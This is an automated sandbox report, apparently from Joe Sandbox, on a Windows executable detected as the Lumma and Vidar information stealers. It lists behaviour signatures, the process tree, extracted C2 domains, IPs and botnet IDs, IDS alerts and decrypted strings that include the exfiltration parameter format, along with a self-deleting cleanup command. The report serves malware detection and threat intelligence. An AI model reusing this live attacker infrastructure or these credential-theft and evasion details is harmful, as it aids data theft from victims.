Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1525478
MD5:	2ab4c1827edd0f4dc810cf0f9b3bd30d
SHA1:	a32347945672d6c1b7bd275f2d62b62d9749bebb
SHA256:	c7a9b126d27a142ad49c3b46591716348393efae2bf563df648701827bd7f80c
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Country aware sample found (crashes after keyboard check)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6988 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2AB4C1827EDD0F4DC810CF0F9B3BD30D)

MSBuild.exe (PID: 7032 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

GCGHCBKFCF.exe (PID: 6988 cmdline: "C:\ProgramData\GCGHCBKFCF.exe" MD5: A16E47444D809D548BD0BA7C9869750A)

cmd.exe (PID: 6292 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\CAKFIJDHJEGI" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 6280 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

WerFault.exe (PID: 6236 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6988 -s 304 MD5: C31336C1EFC2CCB44B4326EA793040F2)

MSBuild.exe (PID: 1700 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 6316 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6988 -s 304 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["soldiefieop.site", "chorusarorp.site", "absorptioniw.site", "questionsmw.stor", "treatynreit.site", "abnomalrkmu.site", "mysterisop.site", "snarlypagowo.site"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "566ac7bdeaf763bbaf70aa6d5667c804"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: file.exe PID: 6988	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6988	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6988	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 7032	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7032	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 7032	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7032	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.MSBuild.exe.400000.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.MSBuild.exe.400000.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.5d8ad8.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.5d8ad8.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
1.2.MSBuild.exe.400000.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.5d8ad8.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.5d8ad8.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
1.2.MSBuild.exe.400000.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.5b0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.5b0000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 141.98.233.156, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7032, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49745

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:46.124020+0200	2054653	1	A Network Trojan was detected	192.168.2.4	57019	104.21.93.202	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:46.124020+0200	2049836	1	A Network Trojan was detected	192.168.2.4	57019	104.21.93.202	443	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:53:17.041342+0200	2054495	1	A Network Trojan was detected	192.168.2.4	57018	45.132.206.251	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (abnomalrkmu .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:43.795113+0200	2056392	1	Domain Observed Used for C2 Detected	192.168.2.4	52021	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (absorptioniw .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:43.854910+0200	2056394	1	Domain Observed Used for C2 Detected	192.168.2.4	63578	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (chorusarorp .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:43.807848+0200	2056396	1	Domain Observed Used for C2 Detected	192.168.2.4	60166	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mysterisop .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:43.846556+0200	2056400	1	Domain Observed Used for C2 Detected	192.168.2.4	54848	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (questionsmw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:43.783252+0200	2056402	1	Domain Observed Used for C2 Detected	192.168.2.4	53531	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (snarlypagowo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:43.831606+0200	2056406	1	Domain Observed Used for C2 Detected	192.168.2.4	63119	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (soldiefieop .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:43.772027+0200	2056408	1	Domain Observed Used for C2 Detected	192.168.2.4	58481	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (treatynreit .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:43.817770+0200	2056410	1	Domain Observed Used for C2 Detected	192.168.2.4	63998	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:24.544757+0200	2044247	1	Malware Command and Control Activity Detected	141.98.233.156	80	192.168.2.4	49745	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:25.203617+0200	2051831	1	Malware Command and Control Activity Detected	141.98.233.156	80	192.168.2.4	49745	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:23.562686+0200	2049087	1	A Network Trojan was detected	192.168.2.4	49745	141.98.233.156	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T09:52:42.309330+0200	2803304	3	Unknown Traffic	192.168.2.4	57015	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware

Found malware configuration

Source: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "566ac7bdeaf763bbaf70aa6d5667c804"}
Source: 8.2.GCGHCBKFCF.exe.300000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["soldiefieop.site", "chorusarorp.site", "absorptioniw.site", "questionsmw.stor", "treatynreit.site", "abnomalrkmu.site", "mysterisop.site", "snarlypagowo.site"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for domain / URL

Source: playd.healthnlife.pk	Virustotal: Detection: 8%	Perma Link
Source: cowod.hopto.org	Virustotal: Detection: 9%	Perma Link
Source: questionsmw.store	Virustotal: Detection: 16%	Perma Link
Source: soldiefieop.site	Virustotal: Detection: 15%	Perma Link
Source: http://cowod.hopto.org	Virustotal: Detection: 9%	Perma Link
Source: https://beearvagueo.site/;	Virustotal: Detection: 9%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 30%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\GCGHCBKFCF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: absorptioniw.site
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: mysterisop.site
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: snarlypagowo.site
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: treatynreit.site
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: chorusarorp.site
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: abnomalrkmu.site
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: soldiefieop.site
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: questionsmw.stor
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: soldiefieop.site
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000009.00000002.2169339520.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	1_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	1_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CAB6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	1_2_6CAB6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:57016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.93.202:443 -> 192.168.2.4:57019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:57021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:57213 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000001.00000002.2500700972.0000000035EBC000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000001.00000002.2495526270.0000000029FDE000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C73FF FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_005C73FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	1_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040CD37
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_003173FF FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_003173FF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

1_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	0_2_005D9385
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	0_2_005D9385
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	1_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	1_2_004014AD
